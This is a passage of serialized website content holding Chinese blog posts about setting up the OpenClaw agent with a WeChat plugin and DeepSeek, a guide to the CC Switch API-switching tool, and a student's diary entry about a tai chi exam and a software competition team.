",{"type":18,"tag":74,"props":2529,"children":2531},{"className":2530},[],[2532],{"type":24,"value":2533},"\u002Fmodel",{"type":24,"value":2535}," 修改大模型为 ",{"type":18,"tag":74,"props":2537,"children":2539},{"className":2538},[],[2540],{"type":24,"value":2541},"deepseek-v4-flash",{"type":24,"value":2543},"，然后发送问题——",{"type":18,"tag":34,"props":2545,"children":2546},{},[2547],{"type":18,"tag":105,"props":2548,"children":2549},{},[2550],{"type":24,"value":2551},"终于可以正常使用了！",{"type":18,"tag":34,"props":2553,"children":2554},{},[2555],{"type":24,"value":2556},"可以随时检查认证状态：",{"type":18,"tag":287,"props":2558,"children":2560},{"code":2559,"language":2109,"meta":8,"className":2110,"style":8},"openclaw models auth status\n",[2561],{"type":18,"tag":74,"props":2562,"children":2563},{"__ignoreMap":8},[2564],{"type":18,"tag":297,"props":2565,"children":2566},{"class":299,"line":300},[2567],{"type":18,"tag":297,"props":2568,"children":2569},{},[2570],{"type":24,"value":2559},{"type":18,"tag":34,"props":2572,"children":2573},{},[2574],{"type":24,"value":2575},"这个命令会显示 OpenClaw 当前有哪些模型可用、哪些 Provider 已认证、哪些认证过期了。",{"type":18,"tag":2577,"props":2578,"children":2580},"font",{"color":2579},"red",[2581,2583],{"type":24,"value":2582},"\n若要了解更详细的OpenClaw安装教程，可以访问 \n",{"type":18,"tag":43,"props":2584,"children":2586},{"href":2585},"\u002Fblog\u002F2026-06-01-openclawinstall",[2587],{"type":24,"value":2588},"【OpenClaw 安装教程】",{"type":18,"tag":121,"props":2590,"children":2591},{},[],{"type":18,"tag":27,"props":2593,"children":2595},{"id":2594},"第二阶段接入微信-clawbot-插件",[2596],{"type":24,"value":2597},"第二阶段：接入微信 ClawBot 插件",{"type":18,"tag":337,"props":2599,"children":2601},{"id":2600},"执行官方安装指令-1",[2602],{"type":24,"value":2098},{"type":18,"tag":287,"props":2604,"children":2606},{"code":2605,"language":2109,"meta":8,"className":2110,"style":8},"npx -y @tencent-weixin\u002Fopenclaw-weixin-cli@latest install\n",[2607],{"type":18,"tag":74,"props":2608,"children":2609},{"__ignoreMap":8},[2610],{"type":18,"tag":297,"props":2611,"children":2612},{"class":299,"line":300},[2613],{"type":18,"tag":297,"props":2614,"children":2615},{},[2616],{"type":24,"value":2605},{"type":18,"tag":34,"props":2618,"children":2619},{},[2620],{"type":24,"value":2621},"扫码授权后，日志显示 Gateway 没启动\u002F没装成服务。",{"type":18,"tag":337,"props":2623,"children":2625},{"id":2624},"安装并启动-gateway",[2626],{"type":24,"value":2627},"安装并启动 Gateway",{"type":18,"tag":287,"props":2629,"children":2631},{"code":2630,"language":2109,"meta":8,"className":2110,"style":8},"# 安装 Gateway\nopenclaw gateway install\n\n# 启动 Gateway\nopenclaw gateway\n",[2632],{"type":18,"tag":74,"props":2633,"children":2634},{"__ignoreMap":8},[2635,2643,2651,2658,2666],{"type":18,"tag":297,"props":2636,"children":2637},{"class":299,"line":300},[2638],{"type":18,"tag":297,"props":2639,"children":2640},{},[2641],{"type":24,"value":2642},"# 安装 Gateway\n",{"type":18,"tag":297,"props":2644,"children":2645},{"class":299,"line":657},[2646],{"type":18,"tag":297,"props":2647,"children":2648},{},[2649],{"type":24,"value":2650},"openclaw gateway install\n",{"type":18,"tag":297,"props":2652,"children":2653},{"class":299,"line":662},[2654],{"type":18,"tag":297,"props":2655,"children":2656},{"emptyLinePlaceholder":793},[2657],{"type":24,"value":796},{"type":18,"tag":297,"props":2659,"children":2660},{"class":299,"line":799},[2661],{"type":18,"tag":297,"props":2662,"children":2663},{},[2664],{"type":24,"value":2665},"# 启动 Gateway\n",{"type":18,"tag":297,"props":2667,"children":2668},{"class":299,"line":808},[2669],{"type":18,"tag":297,"props":2670,"children":2671},{},[2672],{"type":24,"value":2673},"openclaw gateway\n",{"type":18,"tag":34,"props":2675,"children":2676},{},[2677,2679,2685],{"type":24,"value":2678},"看到提示 ",{"type":18,"tag":74,"props":2680,"children":2682},{"className":2681},[],[2683],{"type":24,"value":2684},"Installed Scheduled Task: OpenClaw Gateway",{"type":24,"value":2686},"，说明 OpenClaw 创建了一个 Windows 计划任务。以后重启电脑后，它应该会自动拉起 Gateway。",{"type":18,"tag":34,"props":2688,"children":2689},{},[2690],{"type":18,"tag":105,"props":2691,"children":2692},{},[2693],{"type":24,"value":2694},"启动成功后，就可以在刚刚扫码的微信中正常聊天了！",{"type":18,"tag":2577,"props":2696,"children":2697},{"color":2579},[2698,2700],{"type":24,"value":2699},"\n若要了解更详细的ClawBot安装教程，可以访问 \n",{"type":18,"tag":43,"props":2701,"children":2703},{"href":2702},"2026-06-01-wechatclawbot",[2704],{"type":24,"value":2705},"【微信 ClawBot 插件】",{"type":18,"tag":121,"props":2707,"children":2708},{},[],{"type":18,"tag":27,"props":2710,"children":2712},{"id":2711},"第三阶段我的玩法配置",[2713],{"type":24,"value":2714},"第三阶段：我的玩法配置",{"type":18,"tag":337,"props":2716,"children":2718},{"id":2717},"玩法思路",[2719],{"type":24,"value":2717},{"type":18,"tag":34,"props":2721,"children":2722},{},[2723],{"type":24,"value":2724},"我打算用一个微信号作为 AI 机器人，让所有好友都加这个号来聊天：",{"type":18,"tag":287,"props":2726,"children":2728},{"code":2727},"微信账号（机器人号）\n      ↓\nopenclaw-weixin\n      ↓\nOpenClaw Gateway\n      ↓\nDeepSeek\n",[2729],{"type":18,"tag":74,"props":2730,"children":2731},{"__ignoreMap":8},[2732],{"type":24,"value":2727},{"type":18,"tag":337,"props":2734,"children":2736},{"id":2735},"会话隔离配置",[2737],{"type":24,"value":2735},{"type":18,"tag":34,"props":2739,"children":2740},{},[2741],{"type":24,"value":2742},"为了避免不同好友的对话混在一起，需要设置会话隔离：",{"type":18,"tag":287,"props":2744,"children":2746},{"code":2745,"language":2109,"meta":8,"className":2110,"style":8},"openclaw config set session.dmScope per-channel-peer\n",[2747],{"type":18,"tag":74,"props":2748,"children":2749},{"__ignoreMap":8},[2750],{"type":18,"tag":297,"props":2751,"children":2752},{"class":299,"line":300},[2753],{"type":18,"tag":297,"props":2754,"children":2755},{},[2756],{"type":24,"value":2745},{"type":18,"tag":34,"props":2758,"children":2759},{},[2760],{"type":24,"value":2761},"这个命令的含义：",{"type":18,"tag":287,"props":2763,"children":2765},{"code":2764},"openclaw\n│\n├─ config      → 修改配置\n│\n├─ set         → 设置配置项\n│\n├─ session.dmScope\n│    ↓\n│    Direct Message 会话隔离策略\n│\n└─ per-channel-peer\n     ↓\n     隔离级别（存在4个等级，此处为较高级别）\n",[2766],{"type":18,"tag":74,"props":2767,"children":2768},{"__ignoreMap":8},[2769],{"type":24,"value":2764},{"type":18,"tag":34,"props":2771,"children":2772},{},[2773],{"type":24,"value":2774},"验证是否设置成功：",{"type":18,"tag":287,"props":2776,"children":2778},{"code":2777,"language":2109,"meta":8,"className":2110,"style":8},"Select-String -Path $HOME\\.openclaw\\openclaw.json -Pattern \"dmScope\"\n",[2779],{"type":18,"tag":74,"props":2780,"children":2781},{"__ignoreMap":8},[2782],{"type":18,"tag":297,"props":2783,"children":2784},{"class":299,"line":300},[2785],{"type":18,"tag":297,"props":2786,"children":2787},{},[2788],{"type":24,"value":2777},{"type":18,"tag":34,"props":2790,"children":2791},{},[2792],{"type":24,"value":2793},"输出示例：",{"type":18,"tag":287,"props":2795,"children":2797},{"code":2796},"C:\\Users\\31245\\.openclaw\\openclaw.json:167:    \"dmScope\": \"per-channel-peer\"\n",[2798],{"type":18,"tag":74,"props":2799,"children":2800},{"__ignoreMap":8},[2801],{"type":24,"value":2796},{"type":18,"tag":337,"props":2803,"children":2805},{"id":2804},"agent-用户设定",[2806],{"type":24,"value":2807},"Agent 用户设定",{"type":18,"tag":34,"props":2809,"children":2810},{},[2811],{"type":24,"value":2812},"执行以下命令可以查看 agent 用户设定相关的 MD 文件：",{"type":18,"tag":287,"props":2814,"children":2816},{"code":2815,"language":2109,"meta":8,"className":2110,"style":8},"dir $HOME\\.openclaw\\workspace\n",[2817],{"type":18,"tag":74,"props":2818,"children":2819},{"__ignoreMap":8},[2820],{"type":18,"tag":297,"props":2821,"children":2822},{"class":299,"line":300},[2823],{"type":18,"tag":297,"props":2824,"children":2825},{},[2826],{"type":24,"value":2815},{"type":18,"tag":34,"props":2828,"children":2829},{},[2830],{"type":24,"value":2831},"目录下有两个模板文件：",{"type":18,"tag":210,"props":2833,"children":2834},{},[2835,2846],{"type":18,"tag":158,"props":2836,"children":2837},{},[2838,2844],{"type":18,"tag":74,"props":2839,"children":2841},{"className":2840},[],[2842],{"type":24,"value":2843},"IDENTITY.md",{"type":24,"value":2845}," - 定义 Agent 的身份（名字、类型、性格、头像等）",{"type":18,"tag":158,"props":2847,"children":2848},{},[2849,2855],{"type":18,"tag":74,"props":2850,"children":2852},{"className":2851},[],[2853],{"type":24,"value":2854},"USER.md",{"type":24,"value":2856}," - 记录用户信息（名字、称呼、时区、偏好等）",{"type":18,"tag":34,"props":2858,"children":2859},{},[2860],{"type":24,"value":2861},"这些文件会在第一次对话时逐步填充，让 Agent 越来越了解你。",{"type":18,"tag":121,"props":2863,"children":2864},{},[],{"type":18,"tag":27,"props":2866,"children":2868},{"id":2867},"总结我的感受",[2869],{"type":24,"value":2870},"总结：我的感受",{"type":18,"tag":34,"props":2872,"children":2873},{},[2874],{"type":24,"value":2875},"回顾整个过程，我的安装体验其实非常顺利：",{"type":18,"tag":154,"props":2877,"children":2878},{},[2879,2889,2899,2909],{"type":18,"tag":158,"props":2880,"children":2881},{},[2882,2887],{"type":18,"tag":105,"props":2883,"children":2884},{},[2885],{"type":24,"value":2886},"安装 OpenClaw",{"type":24,"value":2888},"：一条命令搞定，Setup Wizard 引导清晰",{"type":18,"tag":158,"props":2890,"children":2891},{},[2892,2897],{"type":18,"tag":105,"props":2893,"children":2894},{},[2895],{"type":24,"value":2896},"遇到的问题",{"type":24,"value":2898},"：OpenAI 地区限制 → 切换 DeepSeek 解决",{"type":18,"tag":158,"props":2900,"children":2901},{},[2902,2907],{"type":18,"tag":105,"props":2903,"children":2904},{},[2905],{"type":24,"value":2906},"接入微信",{"type":24,"value":2908},"：官方插件一条命令，Gateway 装好就能用",{"type":18,"tag":158,"props":2910,"children":2911},{},[2912,2917],{"type":18,"tag":105,"props":2913,"children":2914},{},[2915],{"type":24,"value":2916},"会话隔离",{"type":24,"value":2918},"：一条命令配置，多好友场景必备",{"type":18,"tag":34,"props":2920,"children":2921},{},[2922],{"type":24,"value":2923},"之前网上那些\"复杂\"\"有风险\"\"必须虚拟机\"的说法，可能更多是针对深度开发者的场景。对于普通人想用 ClawBot 聊天或做简单指令，其实门槛并不高。",{"type":18,"tag":34,"props":2925,"children":2926},{},[2927],{"type":18,"tag":105,"props":2928,"children":2929},{},[2930],{"type":24,"value":2931},"如果你也是智能体小白，别被吓到了，试试就知道了。",{"type":18,"tag":651,"props":2933,"children":2934},{},[2935],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":2937},[2938,2939,2940,2941,2942],{"id":2045,"depth":662,"text":2048},{"id":2092,"depth":662,"text":2095},{"id":2594,"depth":662,"text":2597},{"id":2711,"depth":662,"text":2714},{"id":2867,"depth":662,"text":2870},"content:blog:2026-06-04-clawbot-quickstart-guide.md","blog\u002F2026-06-04-clawbot-quickstart-guide.md","blog\u002F2026-06-04-clawbot-quickstart-guide",{"_path":2947,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":2948,"description":2949,"date":2950,"tags":2951,"body":2955,"_type":672,"_id":2974,"_source":674,"_file":2975,"_stem":2976,"_extension":677},"\u002Fblog\u002F2026-06-03-essay","喜怒哀乐的一天","探讨软件赛的设计，明确分工，教室偶遇互啃小情侣！","2026-06-03",[2952,2953,2954],"随手记","软件赛","生活",{"type":15,"children":2956,"toc":2972},[2957,2962,2967],{"type":18,"tag":34,"props":2958,"children":2959},{},[2960],{"type":24,"value":2961},"今天早上体育课，期待已久的太极拳团体考试终于到了。平时我们小组练习得格外认真，老师也一直很看好我们，没想到今天老师突然让我们面向全班同学展示。这对心理素质本就不强的我来说，无疑是巨大的考验。那一刻，我的心已经提到了嗓子眼。更让人紧张的是，老师在我们组上场前补了一句：\"都认真看，平时练与不练，效果是截然不同的。\"言外之意，便是让所有人仔细审视我们小组的表现。我全程双腿止不住地颤抖，直到一套拳打完还能稳稳站着，大概是我最后的倔强了。可惜因为过度紧张，中途还是做错了一个动作，让我们小组痛失了最高分。不过这也不能全怪我，我确实已经尽力了——打拳的过程中，我一直在拼命控制那条不听话的腿，心里反复告诉自己：\"我们练得这么好，有什么好紧张的？\"可双腿完全不受控制。最终成绩8分，满分10分，最高分9分。",{"type":18,"tag":34,"props":2963,"children":2964},{},[2965],{"type":24,"value":2966},"《软件工程》课上，我收到了软件赛指导老师的消息：\"中午下课后先别去吃饭，来3-304找我。@霍同学 计2408，尤其是你，下课后抓紧过来。\"看到这条消息，我心里一沉——我知道这意味着什么，我的闲暇时间，从今天起就要告一段落了。中午见到同队的两位学长和指导老师后，我们简单开了个小会，大致了解了软件赛的项目需求与设计框架，随后给三人分配了各自的任务。肖学长和杨学长都在实习，肖学长的技术栈相当扎实，听完他对项目的分析，我深感专业，相比之下，自己在他面前显得稚嫩了许多。肖学长在项目中主要负责智能体的开发，我和杨学长则自由分配了剩下的任务——杨学长熟练掌握Java，我主攻Python。我最近两天的任务就是搭建项目的基础框架。起初我有些抗拒，但仔细想想，有AI辅助，倒也不必太过焦虑。正如肖学长所说：\"你再聪明，能有Claude Code和Codex聪明？\"此外，肖学长还分享了一条实用的职场经验：先说服自己，再影响他人——学会包装自己，先入门，再入行。",{"type":18,"tag":34,"props":2968,"children":2969},{},[2970],{"type":24,"value":2971},"下午，我和小罗去3教303看我们的新工作室，结果到了才发现门是锁着的，无奈之下只能先去之前的工作室310。这一去，着实令人尴尬——一对热恋中的情侣，在空荡荡的教室里正旁若无人地亲昵。那么窄的凳子，两人紧紧依偎在一起，场面不言自明。我看到的一瞬间立刻转头看向门外，小罗还在门外，见我表情不对，以为有老师来了。等他也走进教室后，据他描述，那个女生正从男生身上下来，他说那一瞬间看到了不少。至于具体看到了什么，我也没有多问。年轻人热恋期卿卿我我本无可厚非，但下次不妨换个场合，或者至少把门锁上。不知他们是刻意追求刺激还是疏忽大意，总之场面相当令人窘迫。",{"title":8,"searchDepth":657,"depth":657,"links":2973},[],"content:blog:2026-06-03-Essay.md","blog\u002F2026-06-03-Essay.md","blog\u002F2026-06-03-Essay",{"_path":2978,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":2979,"description":2980,"date":2981,"tags":2982,"body":2985,"_type":672,"_id":3375,"_source":674,"_file":3376,"_stem":3377,"_extension":677},"\u002Fblog\u002F2026-06-02-ccswitch","CC Switch - API 中转站","CC Switch 桌面工具使用指南，一键切换多款AI编程工具的API配置，支持本地代理与用量统计。","2026-06-02",[2983,2984],"工具","API",{"type":15,"children":2986,"toc":3363},[2987,2992,2997,3002,3005,3010,3109,3112,3117,3122,3147,3155,3160,3173,3178,3207,3215,3218,3223,3265,3268,3273,3279,3285,3290,3298,3304,3317,3325,3331,3336,3344,3350,3355],{"type":18,"tag":19,"props":2988,"children":2990},{"id":2989},"背景",[2991],{"type":24,"value":2989},{"type":18,"tag":34,"props":2993,"children":2994},{},[2995],{"type":24,"value":2996},"随着 Claude Code、OpenAI Codex、Gemini CLI 等 AI 编程工具的流行，开发者往往需要在多个 API 提供商之间频繁切换——官方 API、国内镜像、第三方代理……每次手动修改配置文件既繁琐又容易出错。",{"type":18,"tag":34,"props":2998,"children":2999},{},[3000],{"type":24,"value":3001},"CC Switch 就是解决这个痛点的桌面工具，它提供一个统一的图形界面。",{"type":18,"tag":121,"props":3003,"children":3004},{},[],{"type":18,"tag":19,"props":3006,"children":3008},{"id":3007},"核心功能",[3009],{"type":24,"value":3007},{"type":18,"tag":431,"props":3011,"children":3012},{},[3013,3028],{"type":18,"tag":435,"props":3014,"children":3015},{},[3016],{"type":18,"tag":439,"props":3017,"children":3018},{},[3019,3024],{"type":18,"tag":443,"props":3020,"children":3021},{},[3022],{"type":24,"value":3023},"功能",{"type":18,"tag":443,"props":3025,"children":3026},{},[3027],{"type":24,"value":843},{"type":18,"tag":459,"props":3029,"children":3030},{},[3031,3044,3057,3070,3083,3096],{"type":18,"tag":439,"props":3032,"children":3033},{},[3034,3039],{"type":18,"tag":466,"props":3035,"children":3036},{},[3037],{"type":24,"value":3038},"一键切换 Provider",{"type":18,"tag":466,"props":3040,"children":3041},{},[3042],{"type":24,"value":3043},"保存多套 API 配置，点一下即可切换，无需手动编辑 JSON",{"type":18,"tag":439,"props":3045,"children":3046},{},[3047,3052],{"type":18,"tag":466,"props":3048,"children":3049},{},[3050],{"type":24,"value":3051},"多应用统一管理",{"type":18,"tag":466,"props":3053,"children":3054},{},[3055],{"type":24,"value":3056},"同时管理 Claude Code、Codex、Gemini CLI、OpenCode、OpenClaw 五款工具",{"type":18,"tag":439,"props":3058,"children":3059},{},[3060,3065],{"type":18,"tag":466,"props":3061,"children":3062},{},[3063],{"type":24,"value":3064},"本地 API 代理",{"type":18,"tag":466,"props":3066,"children":3067},{},[3068],{"type":24,"value":3069},"内置高性能 HTTP 代理，支持自动故障转移与请求监控",{"type":18,"tag":439,"props":3071,"children":3072},{},[3073,3078],{"type":18,"tag":466,"props":3074,"children":3075},{},[3076],{"type":24,"value":3077},"MCP 服务器管理",{"type":18,"tag":466,"props":3079,"children":3080},{},[3081],{"type":24,"value":3082},"可视化添加、编辑和同步 MCP 服务器配置",{"type":18,"tag":439,"props":3084,"children":3085},{},[3086,3091],{"type":18,"tag":466,"props":3087,"children":3088},{},[3089],{"type":24,"value":3090},"用量统计",{"type":18,"tag":466,"props":3092,"children":3093},{},[3094],{"type":24,"value":3095},"实时查看 Token 消耗与 API 费用",{"type":18,"tag":439,"props":3097,"children":3098},{},[3099,3104],{"type":18,"tag":466,"props":3100,"children":3101},{},[3102],{"type":24,"value":3103},"备份与恢复",{"type":18,"tag":466,"props":3105,"children":3106},{},[3107],{"type":24,"value":3108},"自动备份配置，防止误操作导致数据丢失",{"type":18,"tag":121,"props":3110,"children":3111},{},[],{"type":18,"tag":19,"props":3113,"children":3115},{"id":3114},"安装",[3116],{"type":24,"value":3114},{"type":18,"tag":27,"props":3118,"children":3120},{"id":3119},"下载地址",[3121],{"type":24,"value":3119},{"type":18,"tag":210,"props":3123,"children":3124},{},[3125,3136],{"type":18,"tag":158,"props":3126,"children":3127},{},[3128,3130],{"type":24,"value":3129},"官网：",{"type":18,"tag":43,"props":3131,"children":3134},{"href":3132,"rel":3133},"https:\u002F\u002Fccswitch.io\u002Fzh\u002F",[47],[3135],{"type":24,"value":3132},{"type":18,"tag":158,"props":3137,"children":3138},{},[3139,3141],{"type":24,"value":3140},"GitHub Releases：",{"type":18,"tag":43,"props":3142,"children":3145},{"href":3143,"rel":3144},"https:\u002F\u002Fgithub.com\u002Ffarion1231\u002Fcc-switch\u002Freleases\u002Flatest",[47],[3146],{"type":24,"value":3143},{"type":18,"tag":34,"props":3148,"children":3149},{},[3150],{"type":18,"tag":54,"props":3151,"children":3154},{"alt":3152,"src":3153},"1780209507417","\u002Fimages\u002Fblog\u002Fccswitch\u002F1780209507417.png",[],{"type":18,"tag":27,"props":3156,"children":3158},{"id":3157},"安装过程",[3159],{"type":24,"value":3157},{"type":18,"tag":34,"props":3161,"children":3162},{},[3163,3165,3171],{"type":24,"value":3164},"选择 ",{"type":18,"tag":74,"props":3166,"children":3168},{"className":3167},[],[3169],{"type":24,"value":3170},"CC-Swith-v.16.0-Windows.msi",{"type":24,"value":3172}," 安装向导进行安装。",{"type":18,"tag":34,"props":3174,"children":3175},{},[3176],{"type":24,"value":3177},"成功安装后启动时，CC Switch 会自动检测已安装的 CLI 工具并尝试导入现有配置。",{"type":18,"tag":96,"props":3179,"children":3180},{},[3181,3189],{"type":18,"tag":34,"props":3182,"children":3183},{},[3184],{"type":18,"tag":105,"props":3185,"children":3186},{},[3187],{"type":24,"value":3188},"我的工具配置情况",{"type":18,"tag":210,"props":3190,"children":3191},{},[3192,3197,3202],{"type":18,"tag":158,"props":3193,"children":3194},{},[3195],{"type":24,"value":3196},"Claude Code：配置的美团 Longcat 大模型",{"type":18,"tag":158,"props":3198,"children":3199},{},[3200],{"type":24,"value":3201},"Codex CLI：登录的 ChatGPT Plus 账户",{"type":18,"tag":158,"props":3203,"children":3204},{},[3205],{"type":24,"value":3206},"OpenClaw：配置的 Deepseek V4 大模型",{"type":18,"tag":34,"props":3208,"children":3209},{},[3210],{"type":18,"tag":54,"props":3211,"children":3214},{"alt":3212,"src":3213},"1780210385753","\u002Fimages\u002Fblog\u002Fccswitch\u002F1780210385753.png",[],{"type":18,"tag":121,"props":3216,"children":3217},{},[],{"type":18,"tag":19,"props":3219,"children":3221},{"id":3220},"通用配置",[3222],{"type":24,"value":3220},{"type":18,"tag":96,"props":3224,"children":3225},{},[3226,3234,3239,3247,3260],{"type":18,"tag":34,"props":3227,"children":3228},{},[3229],{"type":18,"tag":105,"props":3230,"children":3231},{},[3232],{"type":24,"value":3233},"关于通用配置片段",{"type":18,"tag":34,"props":3235,"children":3236},{},[3237],{"type":24,"value":3238},"「通用配置片段」可以在不同供应商之间共享插件、环境变量等配置，避免切换供应商时丢失这些设置。",{"type":18,"tag":34,"props":3240,"children":3241},{},[3242],{"type":18,"tag":105,"props":3243,"children":3244},{},[3245],{"type":24,"value":3246},"使用方法",{"type":18,"tag":154,"props":3248,"children":3249},{},[3250,3255],{"type":18,"tag":158,"props":3251,"children":3252},{},[3253],{"type":24,"value":3254},"编辑供应商时点击「编辑通用配置」→「从编辑内容提取」",{"type":18,"tag":158,"props":3256,"children":3257},{},[3258],{"type":24,"value":3259},"新建供应商时勾选「写入通用配置」（默认已勾选）",{"type":18,"tag":34,"props":3261,"children":3262},{},[3263],{"type":24,"value":3264},"如果您新安装了插件或 Hook，请重新提取一次通用配置。",{"type":18,"tag":121,"props":3266,"children":3267},{},[],{"type":18,"tag":19,"props":3269,"children":3271},{"id":3270},"配置供应商",[3272],{"type":24,"value":3270},{"type":18,"tag":27,"props":3274,"children":3276},{"id":3275},"场景给-claude-code-配置-deepseek-大模型",[3277],{"type":24,"value":3278},"场景：给 Claude Code 配置 Deepseek 大模型",{"type":18,"tag":337,"props":3280,"children":3282},{"id":3281},"步骤一添加供应商",[3283],{"type":24,"value":3284},"步骤一：添加供应商",{"type":18,"tag":34,"props":3286,"children":3287},{},[3288],{"type":24,"value":3289},"找到 Claude Code 卡片，点击右上角的加号来添加供应商 API。",{"type":18,"tag":34,"props":3291,"children":3292},{},[3293],{"type":18,"tag":54,"props":3294,"children":3297},{"alt":3295,"src":3296},"1780212862132","\u002Fimages\u002Fblog\u002Fccswitch\u002F1780212862132.png",[],{"type":18,"tag":337,"props":3299,"children":3301},{"id":3300},"步骤二选择并输入",[3302],{"type":24,"value":3303},"步骤二：选择并输入",{"type":18,"tag":34,"props":3305,"children":3306},{},[3307,3309,3315],{"type":24,"value":3308},"选中 ",{"type":18,"tag":74,"props":3310,"children":3312},{"className":3311},[],[3313],{"type":24,"value":3314},"Deepseek",{"type":24,"value":3316}," 供应商，输入自己的 API，点击添加。",{"type":18,"tag":34,"props":3318,"children":3319},{},[3320],{"type":18,"tag":54,"props":3321,"children":3324},{"alt":3322,"src":3323},"1780212950846","\u002Fimages\u002Fblog\u002Fccswitch\u002F1780212950846.png",[],{"type":18,"tag":337,"props":3326,"children":3328},{"id":3327},"步骤三启用配置",[3329],{"type":24,"value":3330},"步骤三：启用配置",{"type":18,"tag":34,"props":3332,"children":3333},{},[3334],{"type":24,"value":3335},"启动 Deepseek 的配置项。",{"type":18,"tag":34,"props":3337,"children":3338},{},[3339],{"type":18,"tag":54,"props":3340,"children":3343},{"alt":3341,"src":3342},"1780213092334","\u002Fimages\u002Fblog\u002Fccswitch\u002F1780213092334.png",[],{"type":18,"tag":337,"props":3345,"children":3347},{"id":3346},"步骤四验证",[3348],{"type":24,"value":3349},"步骤四：验证",{"type":18,"tag":34,"props":3351,"children":3352},{},[3353],{"type":24,"value":3354},"重新打开 Claude CLI，可以看到模型已更新为 Deepseek。",{"type":18,"tag":34,"props":3356,"children":3357},{},[3358],{"type":18,"tag":54,"props":3359,"children":3362},{"alt":3360,"src":3361},"1780213187728","\u002Fimages\u002Fblog\u002Fccswitch\u002F1780213187728.png",[],{"title":8,"searchDepth":657,"depth":657,"links":3364},[3365,3366,3367,3371,3372],{"id":2989,"depth":657,"text":2989},{"id":3007,"depth":657,"text":3007},{"id":3114,"depth":657,"text":3114,"children":3368},[3369,3370],{"id":3119,"depth":662,"text":3119},{"id":3157,"depth":662,"text":3157},{"id":3220,"depth":657,"text":3220},{"id":3270,"depth":657,"text":3270,"children":3373},[3374],{"id":3275,"depth":662,"text":3278},"content:blog:2026-06-02-CCSwitch.md","blog\u002F2026-06-02-CCSwitch.md","blog\u002F2026-06-02-CCSwitch",{"_path":2585,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":3379,"description":3380,"date":3381,"tags":3382,"body":3384,"_type":672,"_id":4158,"_source":674,"_file":4159,"_stem":4160,"_extension":677},"OpenClaw 安装教程","OpenClaw 安装与配置教程，包含 OpenAI 授权、DeepSeek 接入、常见问题排查及常用命令。","2026-06-01",[2983,3383],"AI",{"type":15,"children":3385,"toc":4151},[3386,3391,3396,3409,3422,3430,3436,3441,3449,3454,3560,3567,3591,3599,3607,3615,3621,3632,3640,3643,3648,3654,3665,3673,3688,3701,3713,3721,3725,3730,3743,3751,3757,3768,3773,3781,3790,3793,3799,3804,3817,3822,3944,3949,3972,3980,3988,3996,4002,4013,4021,4029,4033,4044,4057,4075,4083,4086,4091,4096,4109,4121,4139,4147],{"type":18,"tag":27,"props":3387,"children":3389},{"id":3388},"一键安装",[3390],{"type":24,"value":3388},{"type":18,"tag":34,"props":3392,"children":3393},{},[3394],{"type":24,"value":3395},"执行官网的安装指令（Windows）：",{"type":18,"tag":287,"props":3397,"children":3398},{"className":2110,"code":2108,"language":2109,"meta":8,"style":8},[3399],{"type":18,"tag":74,"props":3400,"children":3401},{"__ignoreMap":8},[3402],{"type":18,"tag":297,"props":3403,"children":3404},{"class":299,"line":300},[3405],{"type":18,"tag":297,"props":3406,"children":3407},{},[3408],{"type":24,"value":2108},{"type":18,"tag":34,"props":3410,"children":3411},{},[3412,3414,3420],{"type":24,"value":3413},"系统会自动配置 ",{"type":18,"tag":74,"props":3415,"children":3417},{"className":3416},[],[3418],{"type":24,"value":3419},"node.js",{"type":24,"value":3421}," 环境。",{"type":18,"tag":34,"props":3423,"children":3424},{},[3425],{"type":18,"tag":54,"props":3426,"children":3429},{"alt":3427,"src":3428},"1780134869377","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780134869377.png",[],{"type":18,"tag":27,"props":3431,"children":3433},{"id":3432},"安装向导setup-wizard",[3434],{"type":24,"value":3435},"安装向导（Setup Wizard）",{"type":18,"tag":34,"props":3437,"children":3438},{},[3439],{"type":24,"value":3440},"OpenClaw 主程序安装成功后，会启动安装向导（Setup Wizard）。",{"type":18,"tag":34,"props":3442,"children":3443},{},[3444],{"type":18,"tag":54,"props":3445,"children":3448},{"alt":3446,"src":3447},"1780143609184","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780143609184.png",[],{"type":18,"tag":337,"props":3450,"children":3452},{"id":3451},"问答配置过程",[3453],{"type":24,"value":3451},{"type":18,"tag":431,"props":3455,"children":3456},{},[3457,3477],{"type":18,"tag":435,"props":3458,"children":3459},{},[3460],{"type":18,"tag":439,"props":3461,"children":3462},{},[3463,3468,3473],{"type":18,"tag":443,"props":3464,"children":3466},{"align":3465},"center",[3467],{"type":24,"value":557},{"type":18,"tag":443,"props":3469,"children":3470},{},[3471],{"type":24,"value":3472},"选项",{"type":18,"tag":443,"props":3474,"children":3475},{},[3476],{"type":24,"value":843},{"type":18,"tag":459,"props":3478,"children":3479},{},[3480,3500,3520,3540],{"type":18,"tag":439,"props":3481,"children":3482},{},[3483,3487,3495],{"type":18,"tag":466,"props":3484,"children":3485},{"align":3465},[3486],{"type":24,"value":2166},{"type":18,"tag":466,"props":3488,"children":3489},{},[3490],{"type":18,"tag":74,"props":3491,"children":3493},{"className":3492},[],[3494],{"type":24,"value":2175},{"type":18,"tag":466,"props":3496,"children":3497},{},[3498],{"type":24,"value":3499},"同意协议，开始配置",{"type":18,"tag":439,"props":3501,"children":3502},{},[3503,3507,3515],{"type":18,"tag":466,"props":3504,"children":3505},{"align":3465},[3506],{"type":24,"value":2183},{"type":18,"tag":466,"props":3508,"children":3509},{},[3510],{"type":18,"tag":74,"props":3511,"children":3513},{"className":3512},[],[3514],{"type":24,"value":2192},{"type":18,"tag":466,"props":3516,"children":3517},{},[3518],{"type":24,"value":3519},"快速启动模式",{"type":18,"tag":439,"props":3521,"children":3522},{},[3523,3527,3535],{"type":18,"tag":466,"props":3524,"children":3525},{"align":3465},[3526],{"type":24,"value":2200},{"type":18,"tag":466,"props":3528,"children":3529},{},[3530],{"type":18,"tag":74,"props":3531,"children":3533},{"className":3532},[],[3534],{"type":24,"value":2209},{"type":18,"tag":466,"props":3536,"children":3537},{},[3538],{"type":24,"value":3539},"选择模型供应商",{"type":18,"tag":439,"props":3541,"children":3542},{},[3543,3547,3555],{"type":18,"tag":466,"props":3544,"children":3545},{"align":3465},[3546],{"type":24,"value":2217},{"type":18,"tag":466,"props":3548,"children":3549},{},[3550],{"type":18,"tag":74,"props":3551,"children":3553},{"className":3552},[],[3554],{"type":24,"value":2226},{"type":18,"tag":466,"props":3556,"children":3557},{},[3558],{"type":24,"value":3559},"浏览器登录授权",{